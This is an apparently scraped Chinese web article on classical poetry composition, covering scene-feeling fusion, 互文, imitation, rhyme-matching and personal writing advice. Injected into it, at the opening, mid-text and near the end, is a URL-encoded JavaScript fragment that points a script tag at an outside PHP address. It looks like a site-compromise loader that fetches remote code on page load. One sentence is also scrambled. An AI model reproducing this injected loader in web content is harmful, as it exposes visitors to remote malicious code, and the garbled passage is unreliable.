tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwindow.x%3D1%7D"> 完整与精粹地选择：至于是写完整还是要写精粹，要根据作者题材反映的内容去决定。一般情况下，叙事诗采用完整的较多。所选用的诗歌体裁形式多用排律、古风之类容量大的长篇体裁。如白居易的《琵琶行》，采用的体裁是古风（亦称歌行，古风和歌行现在很难区分）。一般来说，咏物，写景、抒情的题材，炼精粹、写重点能好一些。精粹是从全体中提炼出来的，诗词本身要求要完整，所写的重点一定不能给人一种支离破碎的感觉。所以要求作者下笔之前心中先就要有一个完整的概念，然后加以梳理，从中选出能代表全面的重点予以升华。一般情况下，在正文中可以直接将叙事、抒情、写景的融为一体讲述，给读者一个清晰而完整的概念。诗词有了完整的意思，读者才能够充分地体会到作者的思想感情，而产生共鸣。不必要的话尽可能删掉，力争一句话说明几件事，而不是几句话说明一件事。完整不代表冗长，不必要面面具到，事事交待。精粹是要求要从丰富的题材中精心地进行提炼，以点带面，使神龙见首不见尾。通过点滴现象来反映全体，做到以小叙大，力求准确。
陆游在记述与唐婉悲凄爱情的《沈园》中写到：“梦断香消四十年，沈园柳老不吹绵。此身愿作稽山土，犹吊遗踪一泫然”.这首诗的主旨不是揭露封建礼教的罪恶，只是通过对沈园相会的片段印象，回忆和抒写心头无限沉痛的感情及遗恨。这样的抒情就不必要把整个婚姻悲剧和盘托出。
诗词要求语言精炼，不必要的话、字可以省去，叙述可以跳跃。通过重点反映全面是对的，但也不能片面的一味强调，而忽视全面。杜甫在《石壕吏》中，一开首便点名了时间、地点、人物和事件。通过所见所闻的全过程，未加评论的将主题扩大化了。从字句行间可以看到作者对苛政暴吏地谴责和对人民疾苦的关心和同情。
2.神形兼备。要做到神形兼备，首先是创造意境。所谓意境，就是作者主观思想（意）与客观事物（境）相融合的境界。意与境互相依存，互相渗透，意中有景，景中有意。描述景、物或事，力求逼真。不但要形相似，而且更要具有神韵。苏轼曾说过，光求外形相似，乃是儿童见识。要把东西写活，写传神，有意境，这才是逼真的要求。要做到这点，就要求我们要认真地观察和深入地去体会生活。把生活中的典型现象和感受高度浓缩，予以升华。作品源于生活而高于生活，但不能脱离现实和自然规律。如有人在写夜景中写到“繁星点点皓月明”，这就脱离了生活现实中的自然规律，若能改为“月朗星稀”或许好些。又如有人咏菊中写到“风霜落英满地飞”，这是对生活缺少深入地观察。菊花基本是“枯死抱团不忍分”。所以欧阳修批评道“秋英不比春英落，为报诗人仔细吟”。
诗词的脍炙人口不在词藻的华丽，而在立意的清新。如李白的《朝辞白帝》中，以“彩云间”烘托地势之高，江水落差之大，流速之急，逼真地写出了“一日还”的壮观场景；以“啼不住”的猿声刚起而未落的瞬间，船已行走了很远。逼真地烘托出作者归心的迫切和喜悦。全诗短短四句，性、神、意兼备。
作品是生活的积累，但又高于生活，所反映出来的要比现实更具有典型性。如苏轼的《念奴娇·赤壁怀古》：“乱石穿空，惊涛拍岸，卷起千堆雪“。这里反映出来的景色极为雄伟壮观，既表现出长江波澜壮阔的景象，又表现出作者内心世界的阔达胸怀。
文学作品是语言艺术，能够把人和物写逼真、写活、写得有生气、写得很形象，就一定是好作品。感悟意境要借助想象和联想，才能做到耐人寻味和遐思。如韦应物的《滁州西涧》：“独怜幽草涧边生，上有黄鹂深树鸣。春潮带雨晚来急。野渡无人舟自横”。这是一首写景的哲理诗，给人一种身临其境的优雅感觉，眼前展现了一幅美丽的画面。把静态的风景写活了，很有生气和新意。仿佛处在优雅的幽谷中，耳旁传来黄鹂的鸣叫声和傍晚“春潮带雨”的风声、雨声。诗中有画，画中有人，读者分明身处在一副美丽的画卷中。给人们留下“野渡无人舟自横”的千古绝唱。
3.意新语工。立意是诗的灵魂，语言是诗的生命。立意深远，语言就可以突破平庸，象长上了飞翔的翅膀。意新是说诗词中立意要深、要高，所表达的思想、见解要有独特的不同于常人之处，然后才是语言清新工整。意境是文艺创作中的最高艺术境界，同样的命题，同样的写作风格，评论诗词艺术水平的高下，在于立意的深浅和思想性的强弱。以杜甫的《茅屋为秋风所破歌》为例：风吹、茅飞、屋漏是当时社会的普遍现象，而作者不是以茅屋破漏感叹自己的穷困潦倒，首先想到的是天下寒士。发出了“呜乎，何时眼前突兀见此屋，吾庐独破受冻死亦足”的呼声。表现出了“先天下之忧而忧，后天下之乐而乐”的崇高思想品德。因为有很高的思想性，立意高远，所以成就便高，使它成为千古传诵的名篇。
作品中的写景、抒情、达意等应该如何去写？这里提出一个标准：“状难写之意，如在眼前，含不尽之意，见于言外”。就是说要把不容易描写的景象，形象而生动地写得像读者亲眼看到一般，把作者所要表达的意思含蓄地写在形象里，让读者通过形象去体会。
有一句古诗写到;“县古槐根出，官清马骨高”.上一句是写县城的古老而萧条，次句写官况的清贫，连乘坐的马都饿得骨瘦如柴。含蓄地透露出做官的穷困到了极点,那老百姓又会怎么样呢?文中未说，让读者去思考。做到了“含不尽之意，见于言外”的效果。
需要指出的是：思想性的强弱是同人的品德、志气和节操有关。如王清蕙和谢太后同被北国所掳，王清惠发出愿“嫦娥相顾”之声。指谢太后能够照顾她，愿同谢太后一同像月亮一样圆缺，一同共进退，那怕出家为尼。她的思想感情仅局限于忠孝个人，显得胸怀狭窄。文天祥就大不相同了，他不愿苟且偷生，表达出“留取丹心照汗青”的高尚情操。
4.写景抒情，情景相融。情与景是密切联系在一起的，不是因景生情，便是缘情造境。写景抒情手法各异，要根据作者的构思去决定，没有固定的格式。常用的写作手法有以下五种：
A．情景分写。有的上句侧重写景，下句侧重写情；有的上半部分写景，下半部分抒情。如荆轲的《易水歌》：“风萧萧兮易水寒，壮士一去兮不复还”。上句通过写景中萧萧的秋风和寒冷的易水，透露出肃杀悲壮的情绪；下句抒发出壮士决死的慷慨激昂感情。情景结合，更见悲壮。再以杜甫的《登岳阳楼》为例：“昔闻洞庭水，今登岳阳楼。吴楚东南坼，乾坤日夜浮。亲朋无一字，老病有孤舟。戍马关山北，凭轩涕泗流”。前半部分是写景，后半部分是写自己思念亲友和孤苦之情。但从描写景物之壮阔中可以看到杜甫的处境虽然孤苦，但志气并未消沉。这就是情景交融的写法。
B．景中抒情，这种写法是把情包藏在景中。描写景物主要是为了抒情，所以要求作者要有创新。别人用过的意境和手法，尽可能的不去效仿，要找出适合自己感情的方法。以景抒情的写作方法最好的莫过于《诗经·采薇》：“昔我往矣，杨柳依依。今我来思，雨雪纷纷”这首诗是写战士出征的时候正是春天，“杨柳”既是景，又谐音“留”。不说和家人依依不舍，而是把杨柳人格化，把自己和亲人的感情寄托在杨柳上，说是杨柳依依不舍。下两句是写战士回来的时候已是冬天，“雨雪纷纷”。这是将感情寄托于景物的一种写景抒情写作方法。
C．以景说理。这是以写景说明道理的哲理诗，在景中含有深邃的道理。诗人往往将哲理寄寓在形象里。如苏轼的《题西林壁》：“横看成岭侧成峰，高低远近各不同。不识庐山真面目，只缘身在此山中”。这是说人们陷在其中，往往被身边一些事物所迷惑，看不到事物的全貌。又如陆游的《游山西村》：“山重水复疑无路，柳暗花明又一村”。也是在描写景物中寓有辩证的理趣。再以朱熹的《观书有感》为例：“半亩方塘一鉴开，天光云影共徘徊。问渠那得清如许，为有源头活水来”。这首诗若从字面上来看，是一首写景诗，但结合命题，稍加分析，便了解到诗人把一本长方形的书比作半亩方塘，把书打开就像塘中如镜的水面。水的清澈是因为有活水不断地流入。这是比喻书中的内容为什么那么精纯，是因为有丰富的写作源泉。
D．化虚为实。这种写法是把抽象的、看不见的情思，化入形象的景物中去使人易于感受。要将景物化为情思，一般是运用精炼谓语词来表达作者思想感情的。举例说：生活过的很单调、很寂寞。这话就比较抽象，虚而不实。刘长卿在《新年作》中“岭猿同旦暮，江柳共风烟”，说寂寞到早晚只有猴子同我作伴，只有柳树和我共同领略江上的风光烟雾。用“同”和“共”两个谓语词来化虚为实，用形象代替了抽象。这也是一种炼字地写作方法。
E，情景交融。写景不能把重点放到景物上，写景的目的是为了抒情，把自己的感情通过景物流露出来，只有有了真实感情才能做到情景交融。一种写法是客观地重点描写景物，把作者的思想感情比较含蓄和隐蔽地蕴藏在所描写的结尾中，使读者在不知不觉中受到陶冶和影响。由于这种感情是由外物引起身心投入，情由景生，触景生情，由景唤起某种感情，以至“不知何者为我，何者为物”，诗中出现“无我之境”。如陶渊明的《饮酒》：“采菊东篱下，悠然见南山。山气日夕佳，飞鸟相与还”。诗中未曾提到自己，但“采菊”、“悠然”和“见南山”显然是有个“我”存在，可见“无人之境”毕竟还是有人存在。情景交融的另一种写法是：当诗人心情比较激动时，可以因情造境。把这种心情加到所见的景物上，好像见到的景物同诗人的心情一样悲欢。构成缘情造境。如欧阳修的《蝶恋花》：“门掩黄昏，无计留春住。泪眼问花花不语，乱红飞过秋千去”。这是写一位女子思念在外不归的丈夫，象春天一样无法把他留住。把这种思念的悲苦感情加到景物上，把花人格化地去问，而花又飘零飞去，更显得自己孤苦无依。这是将景物拟人化，情景交融的一种写法。
5.咏物描状。A。咏物的写作。咏物诗的唯一要求是“不即不离”。就是说咏物时，既不能脱离开所咏之物，又不能停留在物上。咏物写景的诗要是停留在物上，无论写的如何曲妙词雅，总是意义不大，境界不高。在曲妙词雅的基础上，把作者的思想精神寄托其中，带有寓意，就能使诗得到质的高雅升华。所以，咏物诗多寄情于物，托物言志。咏物诗的写法通常有两种：一种是神形俱是，运用正面描写和衬托手法；另一种是以侧面烘托和反衬手法。采用正面描写和衬托的如苏轼的《惠崇春江晚景》
竹外桃花三两枝，春江水暖鸭先知。
蒌蒿满地芦芽短，正是河豚欲上时。
这是一首题图诗。以碧绿的翠竹，火红的桃花，满地的芦芽和江上嬉鸭等，正面描写和衬托出春意盎然的景象。更联想出“春江水暖鸭先知”和画中没用的“正是河豚欲上时”。这种正面描写使人不觉浮想联翩，口中生津。
以侧面烘托和反衬的有陆游《卜算子·咏梅》：“驿外断桥边，寂寞开无主。已是黄昏独自愁，更著风和雨。无意苦争春，一任群芳妒。零落成泥碾作尘，只有香如故”。以侧面“寂寞”的“风和雨”，来反衬描写梅花与命运地抗争，以“一任群芳妒”和“只有香如故”寓意梅花和作者思想情操之高洁。
B．描状的写作。诗人往往通过景物具体的变化来抒写感情，把形象写的鲜明生动，这是描状常用的一种写作方法。如李白的《黄鹤楼送孟浩然之广陵》：“故人西辞黄鹤楼，烟花三月下扬州。孤帆远影碧空尽，唯见长江天际流”。孟浩然坐船已经走远，看不见人了，李白还在望着远去的孤帆。当帆影消失在碧空尽头，李白还在岸边望着，所能看见的只有在天边流动着的长江。诗中没有只字提到离情别意，可是诗中景物的存在和消失，将作者对朋友的深情厚谊和送别时恋恋不舍的执著形象表现得淋漓尽致。这是以景描状，把情化入到景物中的一种绝妙写法。
胡令能在《小儿垂钓》中的“路人借问遥招手，怕得鱼惊不应人” ，用“小儿”不答路人问话，连连招手示意，把“怕得鱼惊”的心情和动态写得惟妙惟肖，表现得活灵活现。
在描状的作品中，尤以宋代女诗人李清照的《点绛唇》将动态描写的令人叹服：“蹴罢秋千，起来慵整纤纤手。露浓花瘦，薄汗軽衣透。见有人来，袜刬金釵溜。和羞走，倚门回首，却把青梅嗅”。这首词是写一个少女快乐的打完秋千，起来时浑身无力，连纤纤小手也懒得去动一下。轻薄的丝绸衣裳被微微的汗水浸湿，显露出苗条的身材，她的神态象沾着露珠含苞待放的花朵一样美丽。忽见一个陌生客人到来，在慌忙回避中头发松散，金釵落地，连鞋也来不及穿，只穿着袜子跑走了。好奇的想看来人却不敢看，倚着门假装嗅青梅来掩饰自己，含羞地回头看了几眼。这首词用轻快的笔调，描绘出了一个活泼可爱、天真纯洁的少女形象。上半阙写少女玩耍时的可爱娇美，下半阙写遇见生人匆忙逃走的害羞神态。描状时从动作、表情方面细腻地刻画出少女的内心活动，栩栩如生。全词笔调清丽灵妙，生活气息浓郁，是描状作品中的精品。
描状写作用语中，用叠词描写，有时会收到意想不到的效果。如杜甫的《登高》：“无边落木萧萧下，不尽长江滚滚来”。用“萧萧”使读者听到秋天落叶的声音；用“滚滚”使读者仿佛看到长江波澜壮阔的汹涌波涛，人如亲临其境。这就是写景中叠字描状的作用。
6.写作中常用的几种笔法。
（1）。加倍写法。加倍写法是对事物极力进行渲染，起到强调和加深作用。如杜甫的《春望》中“感时花溅泪，恨别鸟惊心”。花鸟本是令人喜欢的东西，可是在作者心情悲痛是时，却感到“花溅泪”、“鸟惊心”，把花鸟拟人化，以烘托“国破山河在”的悲壮气氛。就更加突出了悲痛的深切。加倍写法在通过景物陪衬时，经常是人喜物喜，人悲物悲。
（2）。层递写法。是透过更深一层地写法，一层一层起到一定的渲染效果。如晏几道的《阮郎归》：“一春犹有数行书，秋来书更疏”，“梦魂纵有也成虚，那堪和梦无”。说的是有一些书信已使人怀念，何况书信更少了。有梦也是空的，何况连梦都没有了，一层一层地更进一步道出思念之苦。
（3）。倒插法。在描写人或物时，先叙述其形象，再表明其身份的一种写作方法。如杜甫的《丽人行》里，先写那些贵妇人豪华奢侈的打扮，再点明其人是皇亲国戚的虢国夫人和秦国夫人。
tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwindow.x%3D1%7D">tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwindow.x%3D1%7D"> （4）。逆挽法。这种写法是先写后边发生的事，后说前边的事，把顺序颠倒了一下。如李商隐的《马嵬》，先从“海外徒闻更九州，他生未卜此生休”讲起。即从杨贵妃死后，在海外仙山成仙讲起，再追溯到“七月七日长生殿”的密誓。叙事诗采用的逆挽法，实际上就是散文的倒叙写法。象杜甫的《哀江头》，先写长安陷落后的凄惨荒凉景象：“少陵野老吞声哭，春日潜行曲江曲。江头宫殿锁千门，细柳新蒲为谁绿？”然后再追叙动乱前的曲江景物，那是：“忆昔霓旌下南苑，园中万物生颜色。昭阳殿里第一人，同辇随君侍君侧”。这样的逆挽写法起有对比作用，给人的印象更为深刻。
（5）。反接法。所谓反接，顾名思义是没有按照常理写作。这是作者当时的心理异于常人，是特殊遭遇造成的未按常理进行写作，并非作者刻意这样特殊写作，因为只有这样才能反映出当时的实际心情。如杜甫的《抒怀》，这首诗是写安禄山之乱，他从长安逃出来去凤翔谒见肃宗一事。他五月到凤翔后，听说鄜（fū）州（现在的陕西富县）那里连鸡狗都杀光了。当时他家正住在鄜州，非常担心全家的安全，所以写到“自寄一封书，今已十月后”。按常规接下来应写“不见消息来”的话。但是，这样写的话，就不能反映出战乱时期人们的真实心情了。杜甫在这里反接为“反畏消息来，寸心一何有”，把饱经战乱的人们非常想知道亲人的讯息，而又害怕不幸消息传来的矛盾心情，写得深刻而真切。类此反接写法的有宋之问的《渡汉江》：“岭外音书断，经冬复历春。近乡情更怯，不敢问来人”。作者贬官到岭外，多年不得和家人取得联系，这次回家，迫切地想知道家中情况。但又怕自己遭贬而连累到家人遭受意外，离乡越近越想知道，反而因为害怕不敢问人了。这种反接法深刻的表达了作者强烈想知道而又不敢打听的矛盾心理。
（6）突接法。突接法一种是在写作时先叙事或抒情，突然接着写景，以景衬托，使情景相溶。另一种是叙事中突然用议论来相接，有时候这种议论往往与上文无关系。叙事突然接着写景的有杜甫的《醉歌行》：诗中写的是杜甫送落第的侄子杜勤回家，诗的前部分说杜勤年轻有才，暂时地挫折不算什么的鼓励话。又说“汝身已见唾成珠，汝伯何由发如漆”。说明侄子已经长大成人，文可出口成章了，自己已经日渐衰老。接下去忽然写景：“春光淡沱秦东亭，渚蒲芽白水荇青。风吹客衣日杲杲，树撹离思花冥冥”。春天的景色本来是喜人的，可是面对少年落第，自己逐渐衰老的失意心情，用突接的美景相衬托对照，更加强了自己无可奈何的失意心情。
叙事中突接议论，而这种议论有时和上文毫无关系的有李白的《江夏赠韦南陵冰》：“愁来饮酒二千石，寒灰重暖生阳春。山公醉后能骑马，别是风流贤主人”。诗中的“二千石”和“贤主人”是指南平太守李之遥，李白愁时太守请他喝酒，使他感到温暖。下边紧写到：“头陀云月多僧气，山水何曾称人意。不然鸣茄按鼓戏沧流，呼取江南女儿歌棹讴。我且为君捶碎黄鹤楼，君亦为我倒却鹦鹉洲。赤壁争雄如梦里，且须歌舞宽离忧”。突接的前两句与上文毫无关系，是说那里的头陀是寺多僧气，看了令人讨厌。那里的山水没有秀气，看了败坏游兴，否则可以在大江泛舟听歌取乐。既然那里景物使人讨厌，所以我要捣毁同样可恶的黄鹤楼和鹦鹉洲。只有把这些令人讨厌的东西都扫除了，才能尽情歌舞。后面的狂言都是从突接的两句来的。这个狂言很突出，更显得反接非常突出。虽然今古诗人对这首诗评价其思想性不强，但在艺术上却有它的特色。
7、互文。互文是说在一句话、或两句话、或数句话中，前后的意思要互相参照，互相补充才能见义。互文有两种写作方式，一种是省略，一种是拆散。
A.省略。是说两个词本来要合在一起用，可是受到音节或数字的限制要省去一个。解释和理解时要把两个词合起来，互相参照，互相补充，这就是省略的写法。例如王昌龄的《出塞》中的“秦时明月汉时关”就是互文写法。此句诗本意是说古代时候的月亮，古代时候的关隘，在这里用秦汉来喻古。实际的写法应该是“秦汉时的明月，秦汉时的关”，因为受格律地限制，前边省掉了一个“汉”字，后边省掉了一个“秦”字。再如白居易的《琵琶行》中“主人下马客在船，举酒欲饮无管弦”，首句也是互文的写法。应该理解为：主人下马、客人下马后一同上了船，只是在“客”字后边省掉了“下马” 二字。不理解是互文的写法，容易理解成主人下马在岸上，客人在船上，这就和原意相悖。若按互文理解，前边对后边进行补充，意思便全面了。
以上举例是本句互文的写法。还有一种是对句互文的省略写法，两句要互相参照，互相补充，如《古诗十九首》中的“迢迢牵牛星，皎皎河汉女”。说的是牵牛星遥远，织女星明亮，这是对句互文的省略写法。把“迢迢皎皎”分开，分别写在两句中。“迢迢”和“皎皎”既指牵牛星，又指河汉女。可以理解和解释为“迢迢皎皎牵牛星，皎皎迢迢河汉女”。柳宗元在《捕蛇者说》中的“叫嚣乎东西，隳突乎南北”，把东西南北分写在两句里。按互文就可以理解为：悍吏到处叫骂和骚扰。毛主席的“千里冰封，万里雪飘”，可以理解为“千里万里冰封，千里万里雪飘”。又如《木兰诗》中“将军百战死，壮士十年归”，也是对句互文。将军和壮士互补，理解为将军和壮士经过多少次生死战斗后，一同归来。如果不按照互文去互相参照补充，就容易理解成将军在多次战斗中捐躯，壮士在数年以后返回。
B．互文的另一种形式是句子的拆散方式。一个完整的意思，本应在一句话里，构成独立的句子。但因受某些写作条件的限制，如字数、音节、对仗等，作者便将一句话一分为二，把要表达的意思放在两个词组或句子中。这是拆散的互体修辞写法，理解时要把两部分互相参照、互相补充方能见义。这种修辞手法的好处是：行文简洁、意义全面、气势连贯、音节和谐等效果。如杜甫的《北征》中“不闻夏殷衰，中自诛褒妲”。上句的“夏殷”是指夏桀和殷纣王两个暴君，而下句的“褒”是指周幽王的宠妃褒姒，“妲”是指殷纣王的宠妃妲己。按互体理解以后，就可以知道包含了三个朝代：夏、商、周。诗中上句未提到周幽王，下句未提到夏桀的宠妃妹喜。互文后就可以理解为：唐朝不会象夏、商、周那样衰亡，毕竟是因为唐玄宗中途诛杀了杨贵妃。
互文拆散还换包括排比互文，如《木兰诗》中的“东市买骏马，西市买鞍鞯。南市买辔头，北市买长鞭”。这四个排比句应作互文理解，把被拆散的东、南、西、北合起来解释为“四处”、“到处”。四处购置出征用的东西。
8。仿化。仿化就是仿效和点化。文学作品是有所继承和发扬的。继承就是仿效前人的写作方法和风格；发扬就是把前人的风格加以变化，融化到自己的意境和语言中去，起到推陈出新的作用。继承不是仿化的主要目的，强调地是发扬和注重变化。如韦应物的《广陵遇孟九云卿》中“西施且一笑，众女安得妍”。光说“一笑”，没有作具体的描写。而白居易在《长恨歌》中写到：“回眸一笑百媚生，六宫粉黛无颜色”,既写了“回眸”的神态，又写了“百媚”的形象，描绘的神态要比原句细致和生动了许多。
在仿化中要求比前人说的更深刻，更有意境，真正起到推陈出新的作用。模仿前人的形式、结构及个别词语是允许的。但内容意义应完全不一样，所创造的意境要求是全新的。如曹操在《短歌行》中引用了《诗经·郑风·子衿》中的“青青子衿，悠悠我心”，原意是女子忘不了对男子地倾慕和牵挂。曹操借用此句来表示一位政治家对贤才地倾慕和挂牵，起到了推陈出新的作用，这样的引用是允许的。又如王勃在《滕王阁序》中的“落霞与孤鹜齐飞，秋水共长天一色”，就是仿庚信“落花与芝盖齐飞，杨柳共春旗一色”，仿句与原句格式相同而意不同。原句是车辆的队伍在春天里进行，车上的凉伞与落花一起飞舞，旗帜与杨柳一样鲜明。仿句是写秋天的景象，水天相接，落霞伴孤鹜共舞，意境要比原句开阔得多。
仿句忌没有变化，意思暗合。作品反对抄袭，要有创新。司马相如的《上林赋》中“视之无端，察之无涯”，是说上林这块地方宽广无边。下文是“日出东沼，月生西陂”说的是那里日出月升，景象开阔。马融的《广成颂》中的“天地虹同，因无端涯”，意思同司马相如差不多。又写“大明东出，月生西陂”，也是讲日东出，月西升，只是换了几个字。既无新东西，又不能丰富原话，这种模仿不可取。
9. 陪衬和反衬。陪衬是用另一件景、物、事来衬托主题，使所描写的事物更深刻和更易理解，使诗词的表现更有力量。用美好的景物来写愉悦，以凄苦的景物来写悲苦，这叫做陪衬；用美好的景物来写悲哀，用凄苦的景物来写愉悦，这叫做反衬。通常认为反衬比陪衬更好一些，但也不能一概而论。在杜甫的《登高》中，“无边落木萧萧下，不尽长江滚滚来。万里悲秋常作客，百年多病独登台”。前两句是写秋景，有悲凉之意。后两句是写悲秋多病，以哀写哀是陪衬的名句。反衬的有范仲淹的《渔家傲》：“塞下秋来风景异，衡阳雁去无留意”，把塞外秋“异”在何处，未作描述。没有把边塞的秋和繁华的京都开封相比，更没有和自己的家乡江南相比，而是用雁做了反衬：连路过的大雁都不愿意在此歇息停留，把边塞的荒凉和苦难见于言外。特别是杜甫的《自京赴奉先咏怀五百字》中的“朱门酒肉臭，路有冻死骨”，更是反衬的名句。
诗词写法中还有衬垫和衬跌地写法：衬垫是防止语气太直，一时收不住，用景物来旁衬使急语收缓；衬跌是先不说正意，用一句话先衬托一下，俗语叫“卖关子”。起到制造悬念的作用，使交待正题时更显得有力。李白的《朝发白帝》就是用衬垫地写法。李白在诗中不用奔马疾风来比喻船行速度之快，而用了猿声，立意新颖。如果第三句仍然按照船快去描写，那么不但单调，而且不好收尾。用猿声来做衬垫，不但说出了船行之快，又丰富了江行中的景物。
文天祥在《满江红·代王昭仪》中，先说人情世态的翻云覆雨和变化无常。转入正题后，世态的炎凉更能衬托出自己的忠贞不渝，思想感情的表达就显得更为有力。
10．柏梁体和回文（省略）
11．唱和。依照他人诗词中所押韵用的韵字自己来写诗，叫做“和韵”或“和诗”。经常采用的写作方法有三种：
A .次韵，又称步韵。要求使用与原诗词相同的韵字，而且前后次序不能颠倒。

B.用韵。这种写法是采用原诗词中的韵字，可以不遵守其次序。
c.依韵。这种写法是采用原诗词同一辙的韵，不一定使用原字。

三、诗词写作体会。

前几节我们学习了律诗的基本格律，语法特点以及写作的基本手法和笔法，在此基础上就可以练习进一步地学习写诗了。

如何去写诗，结合前面所讲，仅谈一下个人的心得体会。我在《虞美人·学诗三步曲》中写到“新诗初涉心头宝，自喜皆芳草。灯吟鸡咏渐升华，反感非诗处处见疵瑕。而今下笔知优劣，敲字殚心血。路长脚短短量长，春笔秋词滴水聚汪洋”。这首词是说学习写诗的三个阶段：开始学习写诗的时候，写了几句顺口溜，自鸣得意。这是写诗、看诗、是诗的初学阶段;经过一定地努力，知道了诗词写作的格律要求，写作处处受到限制，反而感到不会写了，怎么写也觉得不符合要求。这是写诗、看诗、不是诗的阶段；经过不懈地努力，写作水平有了一定地升华，学会了斟字酌词，反复推敲后，写的诗达到了基本满意的程度，这是又回到写诗、看诗、是诗的最高境界。
至于如何能写好诗，除了熟练地掌握前边所讲的艺术修辞等知识外，还要深入地观察和体验生活，并大量地阅读诗书，以吸取更多的知识积累。坚持长期不懈地写作、修改和广泛地听取他人意见。苍天不负有心人，有志者事竟成，取得一定的成绩是指日可待的。如何去写诗歌，我个人的心得体会如下：

1.要立新意。立意的好坏是诗词成败的关键。立意也就是要写什么，怎么写，并要写出新的意境。意就是作者自己的思想感情和感悟；境就是要写作的对象。如：人、事、物、景等。把自己的感情寄托在具体的事物上，由事物来流露作者的思想感情，以感染读者。古人讲“意在笔先”，在未动笔之前，首先要考虑你准备要表达那些中心思想，达到什么样的目的。立意是要立新意和立深意。诗中表达的思想、见解和感情等要高于常人，要突破自我的小圈子，以国家、民族和人民利益为重。写出“先天下之忧而忧，后天下之乐而乐”的时代最强音，給读者以人生哲理的启示。

写景抒情力求含蓄，文字清新。写景诗贵在清远，选词不宜华丽而在清新，即景清意远。以景抒情时，要选取有诗意的景物，贵在朦胧。情由景来透露，不加以说明，做到“不着一字，尽得风流”。诗以境界为最上，有境界自成高格。在写诗时要看重创造意境，把所写的东西有机地巧妙联系在一起，把作者主观的思想感情和客观事物融合在一起，情景交融，虚实相生，感会于心，作品读起来自然就会韵味无穷了。

2.体裁地选择和构思。写作的体裁决定于诗歌的内容，即是写抒情还是写叙事等，然后在根据内容的长短决定采用那种体材形式。一般来说，绝句适宜描写比较单一的景物或表达单纯的点滴感悟；律诗的篇幅相对长一些，表现的内容适当丰富些，比较适宜抒情和表达哲理的诗；排律的内容容量大，比较适合叙事诗。当然，若采用古体诗的形式，就不受这些限制了。
体裁的形式决定下来后首先要做的就是构思。将要描写的事物准备达到什么样目的，如何表达自己那些思想感情等，做一统筹规划。将要写的事物做一大概梳理：都准备写那些内容，可分几个自然段等。然后根据选定的体裁形式，考虑每句或每联分别要写那几个自然段等，使诗中能够充分地表达出一个完整的意思。其次是初步完成诗词的框架筑构。根据构思好的方案将要写的某一段或数段的内容压缩成诗歌中的一句或一联。下笔时只要能够表达出完整的意思就行，不必考虑格律、用词等方面的问题，先初步完成诗的一个骨架。最后一步是修改和润色。完成框架后，修改润色就有了基础，然后再推词敲字去适应格律，逐字修改，决定取舍。这样经过多次修改后，一首诗的雏形就形成了。写诗忌没有规划的信笔写到那里算那里，结果意思表达不清楚、不完整或过于罗嗦。
3.要有真情实感。创作诗歌，关键要有感而发，诗中要有激情，忌无病呻吟地为写作而写作。血，是灵魂碰

诗歌是作者胸中喷发出的热撞的火花，是发自内心深处地呐喊，一首诗往往是一个人的人格写照。现代人写诗多，脍炙人口、流传于世的不多。少部分人为了写诗而写诗，千篇一律的是愁啊怨啊的内容，缺乏主题思想。还有个别人为了彰显学问，选择了生避的、没有时代气息的词汇，脱离了广大读者。广范流传于民间的古诗，有几首是辞藻华丽的？
在写作时可以缘情生景，以情感人。在所描写的事物上融入作者比较鲜明的感情色彩，做到“有我之境”。也可以着重写景，触景生情，情缘景发。在客观的描写事物时把作者的感情含蓄地放在所描写的事物中，让读者在无形中受到影响，做到“无我之境”。
要做到这些，除了要提高文学艺术修养外，最重要的是强调要有真感情、真景物。仅为写诗而写诗，就会造成“为文造情”的虚假感情来，引不起读者地共鸣。当灵感到来，激情涌动的时候，一定要牢牢抓住这灵光一闪的瞬间。把那种体会，那种感悟迅速记录下来，写出初稿。千万要注意的是，不要在用词和格律等枝节问题上花费过多的精力和时间，以免打断思路，使灵感消失。

4·要有诗的语言。诗词用的是古汉语和文言文，我们用现代语言写诗词的时候，特别要注意的是不能过于直白和口语化，这样会使人读不出诗的味道来。古代汉语多有一字一音一义，现代汉语多是双音节和多音节。在写作时尽量把现代汉语词汇转化为单音节，一则是让语言更具有诗味，二则是让有限的字数能表达出更丰富的思想内容。如：共同——皆、黄昏——暮、过去——昔、如果——若、想要——欲、一同——俱、充满——盈、觉得——疑、熟悉——谙、睡觉——寐、不要——莫等，严格说这也是对内容精练的一种修辞手法。
在写作时可以不考虑语法和语序，只需要把能表现出事物内容的代表词挑选出来，再按照律诗的要求进行排列即可。

为了适应格律或侧重的需要，必要时语序可以倒置，这也是诗词语言特点之一。如辛弃疾《西江月·夜行黄沙道中》中的“旧时茅店社林边，路转溪桥忽见”，这两句话应是：过了溪桥，路转了弯，忽然在社林边看到旧时去过的茅店。这就是诗的语言，和散文结构不一样。从叙述先后来看，先写茅店，次写社林，再写路转，最后写溪桥。如果用散文现代语法来理解就变成了：在茅店旁，社林边的路转了，忽然看见溪桥。之所以这样写，是为了突出作者对旧时茅店的特殊感情。
诗词的语言是最精辟的语言，要写好一篇作品，首先要学会在炼句和炼字上下功夫。炼句炼字就是用最少的文字，表现出更多、更深奥的意思，力求表达准确。炼字和炼句首先要注意的是力求创新，但是不能生造字句，更不能因字数限制，随意从日常用语或成语中省去一两个字，使人读起来晦涩。再就是遣词造句力求生动流畅，既不要追求词藻的华丽，又不要满篇陈词滥调。语言要清新淡雅，易近读者。同时更不要使用生僻的、没有时代气息的词汇和字句。
tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwindow.x%3D1%7D"> 第三点是注意含蓄，用词不可过于直白，这是律诗与现代诗的一个重要区别。在需要用很多语言才能说明的问题上，最好能使用大家都熟知的典故。含蓄才能给读者留下思考的余地，作到言终而意未尽的效果。特别要提及的一点是，古代有特定含义的词汇不能随意乱用。如：青楼、白屋、云雨、高山流水等。不注意这一点，往往会造成笑话。
写诗的大忌是不认真修改，不反复修改难出好诗。诗圣杜甫说“新诗改罢自长吟”，“自长吟”是改罢再改的意思，力求“语不惊人死不休”的艺术效果。诗圣尚且如此，我们又怎么敢自大呢？
